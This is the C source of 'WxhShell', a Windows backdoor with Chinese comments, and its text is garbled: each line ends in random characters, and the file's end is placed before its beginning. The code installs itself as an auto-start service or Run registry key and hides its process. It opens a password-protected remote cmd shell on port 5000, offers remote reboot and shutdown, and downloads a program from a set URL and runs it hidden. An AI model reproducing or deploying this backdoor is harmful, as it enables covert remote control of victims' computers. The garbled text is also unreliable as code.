    if(Boot(SHUTDOWN)) X"'c2gaa_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9j6# #@{  
    else { !>olD_  
    closesocket(wsh);  B6| g2Tt  
    ExitThread(0); X }UR\8g  
    } =6o,{taZ.~  
    break; _@-D/g  
    } YS7R8|  
  // 获取shell IG}`~% Z  
  case 's': { iobL6SUZ  
    CmdShell(wsh); 5 *w a  
    closesocket(wsh); qQz f&"  
    ExitThread(0); "otks\I<  
    break; &2i3"9k  
  } 7-*QF>w<a  
  // 退出 IYb%f T  
  case 'x': { <|,0%bq)|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8 oK;Tzh  
    CloseIt(wsh); P8Nzz(JF  
    break; aVI%FycYo  
    } eJh4hp;x  
  // 离开 _4H}OGZI  
  case 'q': { <X5'uve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  3)5Gzn  
    closesocket(wsh); ^7cZ9/3  
    WSACleanup(); wTT_jyH)  
    exit(1); g`(' k5=  
    break; =SY5E{`4p  
        } aN\ps g  
  } yW3X<  
  } X[F<sxw  
XI>|"*-l  
  // 提示信息 aqa%B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 d%j6D  
} IIn0w2:i  
  } 1O<Gg<<,e  
5)%bnLxn  
  return; F.nJX ZnJ  
} o\Ocu>:  
WGxe3(d  
// shell模块句柄 [8T  
int CmdShell(SOCKET sock) Y ;JP r  
{ eh@6trzp=  
STARTUPINFO si; b7X-mkF  
ZeroMemory(&si,sizeof(si)); +Xa^3 =B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y-Xd~<*Ia  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IB!^dhD!Q  
PROCESS_INFORMATION ProcessInfo; K]0Q=HY{.  
char cmdline[]="cmd"; Y+ZQN>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  p^=>N9  
  return 0; n9qO;X4&  
} cy R K&J  
32DSZ0  
// 自身启动模式 F4=+xd >0  
int StartFromService(void) ~S5wfx&  
{ `vkNp8|  
typedef struct aFZu5-=x  
{ c^N'g!on  
  DWORD ExitStatus; 2<Vw :+,  
  DWORD PebBaseAddress; ;B8 #Nf  
  DWORD AffinityMask; >lD*:#o  
  DWORD BasePriority; )kMA_\$,  
  ULONG UniqueProcessId; gnAM}  
  ULONG InheritedFromUniqueProcessId; sn|q EH  
}   PROCESS_BASIC_INFORMATION; qNhV zx  
a!`b`r -4  
PROCNTQSIP NtQueryInformationProcess; 1KH]l336D"  
RC[b+J,q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OHz>B!`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /zB;1%m-  
D][e uB  
  HANDLE             hProcess; %SWtE5HZQq  
  PROCESS_BASIC_INFORMATION pbi; [31vx0$_p  
^qs{Cf$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )X8?m <cG  
  if(NULL == hInst ) return 0; 8{mQmG4  
a6UW,n"n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s_`PPl_D$K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WK{{U$:$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {l/]+8G^  
A5d(L4Q]a(  
  if (!NtQueryInformationProcess) return 0; [dszz7/L  
sd (I@ &y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -c^/k_n  
  if(!hProcess) return 0; -EwtO4vLJ  
Fx^e%":@ip  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uO4kCK<7C  
auV'`PR  
  CloseHandle(hProcess); Kp_L\'.I5$  
1P"akc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?q}XD c  
if(hProcess==NULL) return 0; 9u3~s <  
EYe)d+E*  
HMODULE hMod; 2TR l @  
char procName[255]; &4aY5y`8+f  
unsigned long cbNeeded; F TB@70  
w(lxq:>"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |!0R"lv'u  
z8#c!h<@;  
  CloseHandle(hProcess); $6~ \xe=  
5H+S=  
if(strstr(procName,"services")) return 1; // 以服务启动  R~jV  
1wx&/ #a  
  return 0; // 注册表启动 MX3ss,F  
} h6!o,qw"  
ya+eGD@N':  
// 主模块 @J[l^o9  
int StartWxhshell(LPSTR lpCmdLine) 'IaI7on  
{ /}~; b#t  
  SOCKET wsl; V;b^b5yZ>  
BOOL val=TRUE; _g%Wx?K9  
  int port=0; T>"GH M  
  struct sockaddr_in door; Ek!$Ary  
4r@dV%:%<  
  if(wscfg.ws_autoins) Install(); \O]1QM94Y  
myp}DI(  
port=atoi(lpCmdLine); Y,v8eOo45S  
J6*Zy[)%&S  
if(port<=0) port=wscfg.ws_port; HvITw%`  
yIS.'mK  
  WSADATA data; ;l]OmcL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |+?ABPk"  
=y3gnb6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w|6;Pf~1y)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jGB2`^&d  
  door.sin_family = AF_INET; @!92Ok  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dHU#Y,v  
  door.sin_port = htons(port); x;RjLI4h  
G$ l>By  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6B4s6  
closesocket(wsl); vXUrS+~x  
return 1; XxW~4<r  
} 5 =Os sAr  
yFt'<{z[nL  
  if(listen(wsl,2) == INVALID_SOCKET) { ~I0I#_$'P  
closesocket(wsl);  b;!oPT  
return 1; st;.Po[h  
} Fm\ h883\  
  Wxhshell(wsl); .uAO k0^z  
  WSACleanup(); NN<kO#c+2  
t7VXW{3  
return 0; N=) E$h  
LK8K=AA3P  
} 3r=IO#  
cmQLkT"#K  
// 以NT服务方式启动 9R XT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /rd6p{F  
{ / jI>=:z  
DWORD   status = 0; *iSsGb\M%  
  DWORD   specificError = 0xfffffff; "%+C@>`(  
'bP-p gc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o;o ji  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }r&^*" 2=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A9lnQCsJ  
  serviceStatus.dwWin32ExitCode     = 0; Sd]`I)  
  serviceStatus.dwServiceSpecificExitCode = 0; xUYUOyV  
  serviceStatus.dwCheckPoint       = 0; 1>W|vOv"Z?  
  serviceStatus.dwWaitHint       = 0; 6 &% c  
'C6 K\E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  D7%`hU  
  if (hServiceStatusHandle==0) return; S3-3pJ]~Zk  
[YT"UVI  
status = GetLastError(); C7%+1w'D8  
  if (status!=NO_ERROR) XVi?- /2  
{ X*F#=.lh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W M/pP?||  
    serviceStatus.dwCheckPoint       = 0; I;`)1   
    serviceStatus.dwWaitHint       = 0; YQ>M&lnQ<  
    serviceStatus.dwWin32ExitCode     = status; [guJd";  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~4th;#'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @?_<A%hz  
    return; qyMR0ai-  
  } M%f96XUM  
\WD}@6) ~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H*_:IfI!  
  serviceStatus.dwCheckPoint       = 0; #uNQ+US0  
  serviceStatus.dwWaitHint       = 0; c ?mCt0Cg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bb];qYuCO  
} .bbl-a/ 3  
-yt[0  
// 处理NT服务事件,比如:启动、停止 ukV1_QeN [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1F'j .1  
{ 9)p VDS  
switch(fdwControl) 8W?/Sg`  
{ bet?5Dk  
case SERVICE_CONTROL_STOP: }E$^!q{  
  serviceStatus.dwWin32ExitCode = 0; wy&s~lpV,7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  \p"`!n  
  serviceStatus.dwCheckPoint   = 0; R;6(2bTN6  
  serviceStatus.dwWaitHint     = 0; lz X0B&:  
  { f>nj9a5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _X{i hf  
  } \H+/D &M  
  return; 4os7tx  
case SERVICE_CONTROL_PAUSE: Wa~'p+<c~b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pR2QS  
  break; ev>gh0  
case SERVICE_CONTROL_CONTINUE: 1R)4[oYN\<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j+Nun  
  break; KFHn)+*"  
case SERVICE_CONTROL_INTERROGATE: UJ1Ui'a(!!  
  break; D0,U2d  
}; hVRpk0IJDK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #KZ6S9>@  
} xtL_,ug  
Z^9;sb,x  
// 标准应用程序主函数 :(,uaX> {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ny17(Y =  
{ xd\k;nq  
w> `3{MTQ  
// 获取操作系统版本 j{EN %  
OsIsNt=GetOsVer(); uWR\#D'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zzi%r=%r&  
bLoAtI  
  // 从命令行安装 agX-V{l.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6/B"H#rN  
kpi)uGvGUA  
  // 下载执行文件 92+LY]jS  
if(wscfg.ws_downexe) { ?:OL8&0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )BudV zg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7{j9vl6  
} +`l >_u'  
)r-t$ L  
if(!OsIsNt) { uiDK&@RS  
// 如果时win9x,隐藏进程并且设置为注册表启动 9vT@ mqKu  
HideProc(); ^2OBc  
StartWxhshell(lpCmdLine); U/&!F  
} xN0n0  
else &AH@|$!E  
  if(StartFromService()) B*E:?4(<P  
  // 以服务方式启动 ~p<o":k+Lv  
  StartServiceCtrlDispatcher(DispatchTable); /g2(<  
else x/47e8/  
  // 普通方式启动 GQ ZEMy7  
  StartWxhshell(lpCmdLine); NK]X="`  
aH'Sz'|E  
return 0; E[HXbj"  
} TTpK8cC  
#R<4K0Xan  
Epsc2TuH7  
s2)a8 <  
=========================================== _7? o/Q?F%  
*[@lp7  
a+ZP]3@ 7  
?UnOi1"v9  
i]gF 6:&  
L=ZKY  
" K.G}*uy  
<SmXMruU  
#include <stdio.h> mR:G,XytxM  
#include <string.h> +[Nc";Oy  
#include <windows.h> gJ cf~@s  
#include <winsock2.h> }5-^:}gL   
#include <winsvc.h> jSp4eq  
#include <urlmon.h> d:}aFP[  
/10 I}3D  
#pragma comment (lib, "Ws2_32.lib") \Fj$^I>C  
#pragma comment (lib, "urlmon.lib") L,V\g^4$K  
<Hl.MS  
#define MAX_USER   100 // 最大客户端连接数 v.H00}[.  
#define BUF_SOCK   200 // sock buffer Wfgs[  
#define KEY_BUFF   255 // 输入 buffer 4ihv|%@  
%YLdie6c  
#define REBOOT     0   // 重启 .^8 x>~  
#define SHUTDOWN   1   // 关机 $]EG|]"Ns  
6f/>o$  
#define DEF_PORT   5000 // 监听端口 |k3ZdM  
;=>4 '$8  
#define REG_LEN     16   // 注册表键长度 wND0KiwH  
#define SVC_LEN     80   // NT服务名长度 T :IKyb  
-Wc'k 2oU  
// 从dll定义API AGkk|`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {-D2K:m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |&lAt \  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8xzEbRNJ)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SbU=Lkx#  
YpMQY-n  
// wxhshell配置信息 &NiDv   
struct WSCFG { Dz;^'   
  int ws_port;         // 监听端口 K*jV=lG  
  char ws_passstr[REG_LEN]; // 口令 7sZVN  
  int ws_autoins;       // 安装标记, 1=yes 0=no F`goYwA%  
  char ws_regname[REG_LEN]; // 注册表键名 ,\ zp&P"p  
  char ws_svcname[REG_LEN]; // 服务名 +"rZ<i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9MA/nybI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v`evuJ\3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YqwDvJWX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gE'b.04Y9i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .w2X24Mmb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _!6~o>  
OnFx8r:q@%  
}; AHX_I  
4HEp}Y"}V  
// default Wxhshell configuration VE1 B"s</  
struct WSCFG wscfg={DEF_PORT, RGh `=D/yE  
    "xuhuanlingzhe", jrT5Rw_}q  
    1, F }l_=  
    "Wxhshell", Kg^L 4Q  
    "Wxhshell", q@1!v  
            "WxhShell Service", tep_g4CQR_  
    "Wrsky Windows CmdShell Service", &> 43l+  
    "Please Input Your Password: ", JVE]Qb_  
  1, +ou5cQ^  
  "http://www.wrsky.com/wxhshell.exe", Yoi4R{9c  
  "Wxhshell.exe" 6n 37R#(  
    }; ~]8bTw@  
nV'~uu  
// 消息定义模块 e 5U<nf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aGvD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TWE$@/9)g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M6U/. n  
char *msg_ws_ext="\n\rExit."; os*QWSs  
char *msg_ws_end="\n\rQuit."; |9. `qv  
char *msg_ws_boot="\n\rReboot..."; 0p\R@{  
char *msg_ws_poff="\n\rShutdown..."; <_&tP=h  
char *msg_ws_down="\n\rSave to "; 'PTWC.C?9  
. OA_)J7  
char *msg_ws_err="\n\rErr!"; xB"o 7,  
char *msg_ws_ok="\n\rOK!"; k @'85A`  
Ym6zNb8 bQ  
char ExeFile[MAX_PATH]; B]oIFLED  
int nUser = 0; gn"_()8cT  
HANDLE handles[MAX_USER]; S?*pCJ0  
int OsIsNt; i)=!U>B_0  
>J>4g;Y  
SERVICE_STATUS       serviceStatus; wjYwQ=y5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6?OH"!b2-}  
H)aeS F5  
// 函数声明 GPnd7}Tn  
int Install(void); HT7V} UiaO  
int Uninstall(void); C(7uvQ  
int DownloadFile(char *sURL, SOCKET wsh); xb$eFiQ  
int Boot(int flag); +V*FFv  
void HideProc(void); Un\h[m  
int GetOsVer(void); /Y|oDfv  
int Wxhshell(SOCKET wsl); tkU"/$Vi\  
void TalkWithClient(void *cs); QHnk@ R!  
int CmdShell(SOCKET sock); ?h4-D:!$L  
int StartFromService(void); vQCRs!A  
int StartWxhshell(LPSTR lpCmdLine); F3[3~r  
%m r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AA34JVm]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RbUBKMZ U  
+` g&J  
// 数据结构和表定义 44axOk!G[/  
SERVICE_TABLE_ENTRY DispatchTable[] = TIlBT{A<  
{ b?`8-g  
{wscfg.ws_svcname, NTServiceMain}, z1A[rbe=4w  
{NULL, NULL} _uU}J5d.  
}; ~3 4Ly  
]5b%r;_  
// 自我安装 %IGcn48J  
int Install(void) lgp-/O"T  
{ biFy*+|  
  char svExeFile[MAX_PATH]; F<y$Q0Z}  
  HKEY key; j2NnDz'  
  strcpy(svExeFile,ExeFile); o =)hUr  
I8 Ai_^P  
// 如果是win9x系统,修改注册表设为自启动 mf]1mG})  
if(!OsIsNt) { 513{oM:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `iuo([E d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }ybveZxv5A  
  RegCloseKey(key); Fa78yY+6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #MYhKySku  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T1yJp$yD"  
  RegCloseKey(key); qXmkeidb&W  
  return 0; ImQ?<g8$  
    } `Cy-*$$  
  } Enr8"+.(  
} vB >7W  
else { i_8q!CL@{  
ek6PMZF:'  
// 如果是NT以上系统,安装为系统服务 8*y hx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _:F0>=$  
if (schSCManager!=0) ]F kLtq  
{ Ym IVtQ  
  SC_HANDLE schService = CreateService XUeBK/aQ{  
  ( g}nlb.b]{m  
  schSCManager, L/,#:J  
  wscfg.ws_svcname, a& b75.-  
  wscfg.ws_svcdisp, @KRr$k  
  SERVICE_ALL_ACCESS, .T0w2Dv/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Stqlp<xy  
  SERVICE_AUTO_START, "i/ l'  
  SERVICE_ERROR_NORMAL, Oi# F  
  svExeFile, 2:0'fNXop  
  NULL, =jZ}@L/+  
  NULL, )Cl!,m)~  
  NULL, :db:|=#T  
  NULL, k@r%>Ul@  
  NULL _ S%3?Q  
  ); FWpcWmS`s  
  if (schService!=0) m":lKXpQ  
  { o>lk+Q#L @  
  CloseServiceHandle(schService); F8{"Rk}  
  CloseServiceHandle(schSCManager); :[f2iZ"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wRu+:<o^.  
  strcat(svExeFile,wscfg.ws_svcname); R5=2EwrGP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u2crL5^z2)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sCG[gshq  
  RegCloseKey(key); 5*QNE!  
  return 0; -m*IpDi  
    } RB7?T5G  
  } 92g#QZs&W  
  CloseServiceHandle(schSCManager); nRq @hk  
} /y/O&`X(  
} .|x\6 jf  
)i@j``P  
return 1; F&? &8.  
} =8BMCedH|  
$S{B{FK  
// 自我卸载 /7Z5_q_  
int Uninstall(void) }S84^2J_  
{ 04{*iS95J  
  HKEY key; CD|)TXy  
PMPB}-d  
if(!OsIsNt) { .{U@Hva_K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f?)BAah  
  RegDeleteValue(key,wscfg.ws_regname); ZZ/F}9!=  
  RegCloseKey(key); 3 D<s #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dd4g?):  
  RegDeleteValue(key,wscfg.ws_regname); 3Z.<=D  
  RegCloseKey(key); &K Ti[  
  return 0; *h59Vaoc  
  } {=n-S2%  
} yhF{ cK =  
} $RA8U:Q!1e  
else { Nm;(M =  
Hrb67a%b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LRNgpjE}  
if (schSCManager!=0) &|rh~;:jUX  
{ {OHaI ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M1(+_W`  
  if (schService!=0) -P"9KnsO  
  { Bn>"lDf,  
  if(DeleteService(schService)!=0) { nff X  
  CloseServiceHandle(schService); yk r5bS  
  CloseServiceHandle(schSCManager); g *}M;"  
  return 0; Imi;EHW  
  } i U3GUsPy  
  CloseServiceHandle(schService); y U"pU>fV@  
  } AC*> f&  
  CloseServiceHandle(schSCManager); |ymw])L  
} k e$g[g  
} t[>y=89  
1u4)  
return 1; R%7* )3$&r  
} 9a_B   
,l}mCY  
// 从指定url下载文件 Vgzw['L}  
int DownloadFile(char *sURL, SOCKET wsh) p(B> N!:  
{ M=vRy|TL  
  HRESULT hr; 70s.  
char seps[]= "/"; t;?M#I\,{  
char *token; jhs('n,  
char *file; XN+~g.0  
char myURL[MAX_PATH]; "VEA71  
char myFILE[MAX_PATH]; frB~ajXK  
v2X>%  
strcpy(myURL,sURL); Nr24Rv  
  token=strtok(myURL,seps); '9O4$s1  
  while(token!=NULL) zMZP3 xir  
  { n/ ]<Bc?  
    file=token; pv/LTv  
  token=strtok(NULL,seps); @KtQ~D  
  } >kK!/#ZA  
Co`O{|NS}!  
GetCurrentDirectory(MAX_PATH,myFILE); VK/@jrL+  
strcat(myFILE, "\\"); GTvp)^ h  
strcat(myFILE, file); ]`[r=cG  
  send(wsh,myFILE,strlen(myFILE),0); RZwjc<T  
send(wsh,"...",3,0); $:|z{p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ldEZ_g^  
  if(hr==S_OK) VU~ R  
return 0; @y3u'Y,B  
else AawK/tfs  
return 1;  U~%V;*|4  
EbTjBq  
} i:8g3|JfMe  
gDY+'6m;  
// 系统电源模块 p72:oX\Q I  
int Boot(int flag) H)#HK!F6f  
{ 1Q$ePo   
  HANDLE hToken; TQ-V61<5  
  TOKEN_PRIVILEGES tkp; 2?=R_&0 Q  
2=?/$A9p  
  if(OsIsNt) { n%N|?!rB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tCkKJ)m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vn5X]U"  
    tkp.PrivilegeCount = 1; HTfHAc?W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z^P]-CB|6A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :wlX`YW+e  
if(flag==REBOOT) { v4X\LsOP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZHA6BVVT  
  return 0; .QwwGm  
} "rnZ<A}  
else { y,I?3 p|S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Pi+VuLE  
  return 0; }B-@lbK6)  
} &c;@u?:@S  
  } 3$c Im+  
  else { >0#WkmRY  
if(flag==REBOOT) { \tL 9`RKpg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l| / tKW  
  return 0; y^M ~zOe  
} -68E]O  
else { xLUgbql-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jt({@;sU[<  
  return 0; q(tdBd'o6  
} () l#}H`m  
} \>8r)xC  
.#py5&`%  
return 1; @I\&-Z ^  
} gEWKM(5B}  
fpj,~+  
// win9x进程隐藏模块 QfLDyJv`e  
void HideProc(void) ~g&FeMo  
{ -!X,M DO  
T6 K?Xr{_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); os=Pr{  
  if ( hKernel != NULL ) -,;r %7T  
  { &C_0JyT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d%IM`S;fh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O' 5xPJ  
    FreeLibrary(hKernel); yrp;G_  
  } Tt,<@U[/}  
P)h ZFX  
return; FlWgTn>  
} <r[5 S5y  
[&6VI?  
// 获取操作系统版本 *} yOL [  
int GetOsVer(void) H;#3S<  
{ =(!&8U9  
  OSVERSIONINFO winfo; XYBvM]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jzRfD3_s  
  GetVersionEx(&winfo); zF+NS]XK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w Pk\dyP  
  return 1; Equj[yw%@  
  else 6EHYIN^D  
  return 0; <"Ox)XG3]W  
} -\Y"MwIED  
Idq &0<I  
// 客户端句柄模块 BhO*Pfs  
int Wxhshell(SOCKET wsl) 3<5E254N  
{ P>*B{fi^  
  SOCKET wsh; m@|0iDS  
  struct sockaddr_in client; #>I*c _-  
  DWORD myID; ~Ibq,9i  
vDG AC'  
  while(nUser<MAX_USER) |sQC:y>  
{ %'}zr>tx:  
  int nSize=sizeof(client); hJuR,NP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o\n9(ao  
  if(wsh==INVALID_SOCKET) return 1; ;S+UD~i[Bu  
O8&=qZ6T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i_ha^mq3  
if(handles[nUser]==0) p};B*[ki  
  closesocket(wsh); [| \Z"   
else PS" ,  
  nUser++; 7~gIOu  
  } &rdz({  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v[3QI7E3  
1qEpQ.:](  
  return 0; MfX1&/Z+  
} H9@24NFb  
C'6 yt  
// 关闭 socket X(sN+7DOV  
void CloseIt(SOCKET wsh) Ec44JD  
{ PP2>v|  
closesocket(wsh); ;oe j~  
nUser--; xq U@87[_  
ExitThread(0); A Th<=1  
} z.NJu q  
YQ\c0XG  
// 客户端请求句柄  73:y&U  
void TalkWithClient(void *cs) NU>'$s  
{ # :^aE|s  
(qf%,F,_L  
  SOCKET wsh=(SOCKET)cs; |.OXe!uU41  
  char pwd[SVC_LEN]; v)^8e0vx  
  char cmd[KEY_BUFF]; -i,=sZXB  
char chr[1]; Dy_ayxm  
int i,j; .3yoDab  
/| nZ)?  
  while (nUser < MAX_USER) { 29W~<E8K-  
Dz<"eyB\  
if(wscfg.ws_passstr) { ;y"=3-=vM"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q_5hKipd\b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Nyq1~   
  //ZeroMemory(pwd,KEY_BUFF); j_3X 1w)k  
      i=0; mes/gqrJ1I  
  while(i<SVC_LEN) { V30Om3C  
PWch9p0U  
  // 设置超时 l ~b  
  fd_set FdRead; my.%zF  
  struct timeval TimeOut; ^Po^Co  
  FD_ZERO(&FdRead); \Zpg,KOT  
  FD_SET(wsh,&FdRead); 2H h5gD|>  
  TimeOut.tv_sec=8; oS2L"#  
  TimeOut.tv_usec=0; j %3wD2 l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yqpe2II7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n54}WGo>9  
e`N/3q7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GmjTxNU@  
  pwd=chr[0]; yvQRr75  
  if(chr[0]==0xd || chr[0]==0xa) { NCid`a$  
  pwd=0; il=:T\'U9  
  break; uBr^TM$k&  
  } XL10W ^  
  i++; m %=] j<A  
    } vpnOc2 -  
+>w %j&B  
  // 如果是非法用户,关闭 socket p!b_tyJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D-v}@tS'  
} M, uQ8SZA[  
v;%>F)I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )z:"P;b"Nl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C(4r>TNm  
>Y3ZK{b  
while(1) { V2v}F=  
?}mbp4+j[  
  ZeroMemory(cmd,KEY_BUFF); q_J)68BR  
bhqV2y*'  
      // 自动支持客户端 telnet标准   {.,-lFb\  
  j=0; 2@W'q=+0  
  while(j<KEY_BUFF) { 2. t'!uwI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )2&U Rt.  
  cmd[j]=chr[0]; ['`Vg=O.{  
  if(chr[0]==0xa || chr[0]==0xd) { h'wI  
  cmd[j]=0; JBvMe H5  
  break; km 0LLYG  
  } ?y1G,0,  
  j++; dTATJ)NH  
    } p+ki1! Ed  
.huk>  
  // 下载文件 c9uln  
  if(strstr(cmd,"http://")) { 9'{i |xG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZcP/rT3{^  
  if(DownloadFile(cmd,wsh)) oP%'8%tk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Dr_WFNjO  
  else _e9S"``  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +nOa&d\  
  } /:BM]K  
  else { t>Ot)d  
4:50dj  
    switch(cmd[0]) { qs Uob   
  2k}8`P;  
  // 帮助 <,X?+hr  
  case '?': { +~ZFao qf  
